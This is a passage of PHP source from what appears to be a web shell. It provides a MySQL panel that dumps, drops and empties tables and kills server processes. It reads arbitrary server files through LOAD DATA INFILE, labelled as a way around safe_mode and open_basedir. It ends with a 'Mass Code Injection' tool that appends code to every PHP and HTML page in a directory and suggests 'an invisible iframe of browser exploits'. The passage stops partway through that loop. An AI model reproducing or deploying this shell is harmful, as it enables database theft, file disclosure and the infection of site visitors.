        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "No tables found in database.";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_dbs($sql_sock);
      if (!$result) {echo mysql_smarterror();}
      else {
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
        <?php
        $c = 0;
        $dbs = "";
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
        echo "<option value=\"\">Databases (".$c.")</option>";
        echo $dbs;
      }
      ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
      <?php
    }
    echo "</td><td width=\"100%\">";
    $diplay = TRUE;
    if ($sql_db) {
      if (!is_numeric($c)) {$c = 0;}
      if ($c == 0) {$c = "no";}
      echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
      if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
      echo "</b></center>";
      $acts = array("","dump");
      if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_x = "query";}
      elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
      elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
      elseif ($sql_tbl_x == "insert") {
        if ($sql_tbl_insert_radio == 1) {
          $keys = "";
          $akeys = array_keys($sql_tbl_insert);
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
          $values = "";
          $i = 0;
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "\'".addslashes($v)."\'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
          $sql_x = "query";
          $sql_tbl_x = "browse";
        }
        elseif ($sql_tbl_insert_radio == 2) {
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
          $result = mysql_query($sql_query) or print(mysql_smarterror());
          $result = mysql_fetch_array($result, MYSQL_ASSOC);
          $sql_x = "query";
          $sql_tbl_x = "browse";
        }
      }
      if ($sql_x == "query") {
        echo "<hr size=\"1\" noshade>";
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
        if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
        if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
      }
      if (in_array($sql_x,$acts)) {
        ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="x" value="sql">
        <input type="hidden" name="sql_x" value="newtbl">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
        <input type="text" name="sql_newtbl" size="20">
        <input type="submit" value="Create">
        </form></td>
        <td width="30%" height="1"><b>Dump DB:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="x" value="sql">
        <input type="hidden" name="sql_x" value="dump">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
        <?php
        if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
        if ($sql_x == "newtbl") {
          echo "<b>";
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
            echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
          }
          else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
        }
        elseif ($sql_x == "dump") {
          if (empty($submit)) {
            $diplay = FALSE;
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
            echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
            $v = join (";",$dmptbls);
            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
            if ($dump_file) {$tmp = $dump_file;}
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
            echo "</form>";
          }
          else {
            $diplay = TRUE;
            $set = array();
            $set["sock"] = $sql_sock;
            $set["db"] = $sql_db;
            $dump_out = "download";
            $set["print"] = 0;
            $set["nl2br"] = 0;
            $set[""] = 0;
            $set["file"] = $dump_file;
            $set["add_drop"] = TRUE;
            $set["onlytabs"] = array();
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
            $ret = mysql_dump($set);
            if ($sql_dump_download) {
              @ob_clean();
              header("Content-type: application/octet-stream");
              header("Content-length: ".strlen($ret));
              header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
              echo $ret;
              exit;
            }
            elseif ($sql_dump_savetofile) {
              $fp = fopen($sql_dump_file,"w");
              if (!$fp) {echo "<b>Dump error! Can\'t write to \"".htmlspecialchars($sql_dump_file)."\"!";}
              else {
                fwrite($fp,$ret);
                fclose($fp);
                echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
              }
            }
            else {echo "<b>Dump: nothing to do!</b>";}
          }
        }
        if ($diplay) {
    if (!empty($sql_tbl)) {
      if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
      $count_row = mysql_fetch_array($count);
      mysql_free_result($count);
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
      $tbl_struct_fields = array();
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
      $perpage = $sql_tbl_le - $sql_tbl_ls;
      if (!is_numeric($perpage)) {$perpage = 10;}
      $numpages = $count_row[0]/$perpage;
      $e = explode(" ",$sql_order);
      if (count($e) == 2) {
        if ($e[0] == "d") {$asc_desc = "DESC";}
        else {$asc_desc = "ASC";}
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
      }
      else {$v = "";}
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
      $result = mysql_query($query) or print(mysql_smarterror());
      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
      if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
      if ($sql_tbl_x == "insert") {
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
        if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
        else {
          echo "<br><br><b>Inserting row into table:</b><br>";
          if (!empty($sql_tbl_insert_q)) {
            $sql_query = "SELECT * FROM `".$sql_tbl."`";
            $sql_query .= " WHERE".$sql_tbl_insert_q;
            $sql_query .= " LIMIT 1;";
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
            $values = mysql_fetch_assoc($result);
            mysql_free_result($result);
          }
          else {$values = array();}
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
          foreach ($tbl_struct_fields as $field) {
            $name = $field["Field"];
            if (empty($sql_tbl_insert_q)) {$v = "";}
            echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
            $i++;
          }
          echo "</table><br>";
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
        }
      }
      if ($sql_tbl_x == "browse") {
        $sql_tbl_ls = abs($sql_tbl_ls);
        $sql_tbl_le = abs($sql_tbl_le);
        echo "<hr size=\"1\" noshade>";
        echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
        $b = 0;
        for($i=0;$i<$numpages;$i++) {
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
          echo $i;
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
          else {echo "&nbsp;";}
        }
        if ($i == 0) {echo "empty";}
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<td>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
          else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
          echo "</td>";
        }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>+</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_x)) {
    echo "<hr size=\"1\" noshade>";
    if ($sql_x == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_x == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_x == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_x == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<b>Process #".$kill." was killed.</b>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_x == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = FALSE;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb); 
    }
   }
  }
}
echo "</td></tr></table>";
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}

if ($x == \'massbrowsersploit\') {
?>
<b>Mass Code Injection:</b><br><br>
Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="goahead">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath(\'.\'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars(\'<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>\'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET[\'masssploit\'] == \'goahead\') {
	if (is_dir($_GET[\'pathtomass\'])) {
		$lolinject = $_GET[\'injectthis\'];
		foreach (glob($_GET[\'pathtomass\']."/*.php") as $injectj00) {
